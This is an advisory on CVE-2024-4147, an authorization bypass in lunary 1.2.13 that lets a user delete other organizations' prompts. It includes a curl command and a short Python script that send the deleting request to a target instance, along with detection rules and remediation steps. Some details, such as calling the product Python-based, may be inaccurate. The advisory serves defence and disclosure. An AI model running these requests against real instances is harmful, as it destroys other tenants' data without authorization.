CVE-2024-4147

Executive Summary

CVE-2024-4147 is an authorization bypass vulnerability in lunary-ai/lunary version 1.2.13. The flaw resides in insufficient granularity of access control, specifically a failure to validate prompt ownership before deletion. An authenticated attacker can manipulate the prompt ID in a DELETE request to remove prompts belonging to other organizations or projects. This leads to data loss, denial of service for legitimate users, and information inconsistency across tenants. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched.

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary application, which is a Python-based AI monitoring and management platform. As a self-hosted or SaaS application, it is not distributed via PyPI or npm, but its deployment in CI/CD pipelines or as a containerized service introduces supply chain risks. Organizations using lunary should audit their deployment for unauthorized access and ensure strict network segmentation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High (deletion of prompts)
• Availability Impact: Low (legitimate users lose access to prompts)

The threat level is High due to the low complexity and the ability for any authenticated user to delete arbitrary prompts, causing data integrity loss and potential business disruption.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) combined with insufficient authorization granularity. The application’s API endpoint for deleting prompts (e.g., DELETE /api/prompts/{prompt_id}) only checks if the requesting user has a generic "delete" permission, but fails to verify that the prompt belongs to the user’s organization or project.

Attack Flow:

1. An attacker authenticates as a low-privileged user within Organization A.
2. The attacker enumerates or guesses prompt IDs from Organization B (e.g., via sequential IDs or API responses).
3. The attacker sends a DELETE request to /api/prompts/{prompt_id} with the target prompt ID.
4. The server checks only the user’s permission level (e.g., "can delete prompts") but does not validate ownership.
5. The prompt is deleted, causing data loss for Organization B.

The root cause is in the backend logic, likely in a function like delete_prompt() that queries the prompt by ID without joining on the user’s organization or project context.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/prompts/<prompt_id>', methods=['DELETE'])
@require_auth
def delete_prompt(prompt_id):
    # Only checks if user has delete permission
    if not current_user.has_permission('delete_prompt'):
        return jsonify({'error': 'Forbidden'}), 403
    prompt = Prompt.query.get(prompt_id)
    if not prompt:
        return jsonify({'error': 'Not found'}), 404
    db.session.delete(prompt)
    db.session.commit()
    return jsonify({'message': 'Deleted'}), 200

Patched Code (Conceptual):

@app.route('/api/prompts/<prompt_id>', methods=['DELETE'])
@require_auth
def delete_prompt(prompt_id):
    if not current_user.has_permission('delete_prompt'):
        return jsonify({'error': 'Forbidden'}), 403
    prompt = Prompt.query.filter_by(
        id=prompt_id,
        organization_id=current_user.organization_id
    ).first()
    if not prompt:
        return jsonify({'error': 'Not found'}), 404
    db.session.delete(prompt)
    db.session.commit()
    return jsonify({'message': 'Deleted'}), 200

The patch adds a filter to ensure the prompt belongs to the same organization as the authenticated user.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a lunary instance (version 1.2.13)
• Valid credentials for any user account
• Knowledge of a target prompt ID (e.g., from API responses or enumeration)

Exploitation Steps:

1. Authenticate and obtain a session token.
2. Identify a prompt ID from another organization (e.g., via ID enumeration or leaked data).
3. Send a DELETE request:

curl -X DELETE 'https://target-lunary-instance/api/prompts/42' \
  -H 'Authorization: Bearer <your_token>'

4. Verify deletion by attempting to fetch the prompt (should return 404).

Automated Exploit (Python):

import requests

target = "https://target-lunary-instance"
token = "your_jwt_token"
prompt_id = 42

headers = {"Authorization": f"Bearer {token}"}
response = requests.delete(f"{target}/api/prompts/{prompt_id}", headers=headers)
if response.status_code == 200:
    print(f"Prompt {prompt_id} deleted successfully.")
else:
    print(f"Failed: {response.status_code}")

Blue Team

Detection:

• Monitor API logs for DELETE requests to /api/prompts/ from users who do not normally interact with those prompts.
• Alert on rapid deletion of multiple prompts across different organizations.
• Use the Sigma rule below to detect anomalous deletion patterns.

Mitigation:

• Immediately restrict API access to only necessary users.
• Implement network segmentation to limit exposure of the lunary instance.
• Apply the conceptual patch by adding organization/project ownership checks.

Indicators of Compromise (IOCs)

• Network: DELETE requests to /api/prompts/{id} with unusual prompt IDs (e.g., sequential or out-of-range).
• Logs: DELETE /api/prompts/ entries with status=200 for prompts not owned by the requesting user.
• System: Missing prompts that were previously accessible, causing 404 errors for legitimate users.

Detection Engineering

YARA Rule

rule CVE_2024_4147_Lunary_Delete_Prompt {
    meta:
        description = "Detects exploitation attempts of CVE-2024-4147 via DELETE requests to lunary API"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-4147"
    strings:
        $method = "DELETE"
        $path = "/api/prompts/"
    condition:
        $method and $path
}

Sigma Rule

title: Lunary Prompt Deletion Anomaly
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized deletion of prompts across organizations in lunary-ai/lunary
author: Valters IT
logsource:
    category: web
    product: lunary
detection:
    selection:
        http.method: DELETE
        http.url|contains: "/api/prompts/"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4147 Lunary Prompt Deletion Attempt"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/prompts/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the delete endpoint temporarily if not critical.
2. Apply the conceptual patch by adding organization/project ownership validation in the delete function.
3. Review and rotate all API tokens to prevent misuse.

Long-term Fixes:

• Implement proper authorization checks at the service layer (e.g., using a policy engine like OPA).
• Conduct a full security audit of all API endpoints for IDOR vulnerabilities.
• Add rate limiting and anomaly detection for DELETE operations.

Workarounds:

• Use a Web Application Firewall (WAF) to block DELETE requests to /api/prompts/ from non-admin users.
• Implement a custom middleware that validates prompt ownership before passing to the handler.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert